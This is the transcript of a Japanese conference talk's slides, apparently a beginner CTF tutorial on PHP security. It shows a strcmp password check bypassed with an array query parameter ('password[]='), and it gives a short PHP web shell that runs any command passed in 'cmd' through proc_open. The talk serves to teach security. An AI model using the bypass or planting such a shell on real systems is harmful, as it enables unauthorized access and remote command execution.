Upgrade to Pro — share decks privately, control downloads, hide ads and more …

CTFで学ぶPHPセキュリティ

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on.

 CTFで学ぶPHPセキュリティ

PHPerKaigi 2019
ルーキーズLT

Avatar for Ryoto Saito

Ryoto Saito

March 31, 2019
Tweet

More Decks by Ryoto Saito

Other Decks in Programming

Transcript

  1. CTF Capture the Flag • 情報セキュリティ的に脆弱な 「何か」が用意される • その脆弱性を突いてFlagを取得 する競技

    ※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ • 問題ベースで楽しくセキュリティ が勉強できる! • 徳丸さんの挑戦状もCTF 4
  2. 前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)

    == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
  3. 前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD)

    == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
  4. 言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) <?php var_dump($_GET);

    http://localhost/dump.php?password[]=admin にアクセス↓ array(1) { ["password"] => array(1) { [0] => string(5) "admin" } }
  5. include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==

    0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
  6. include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) ==

    0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
  7. Ans. 以下のPHPファイルをアップロード <?php $cmd = $_GET['cmd'] $process = proc_open($cmd, [1=>["pipe",

    "w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20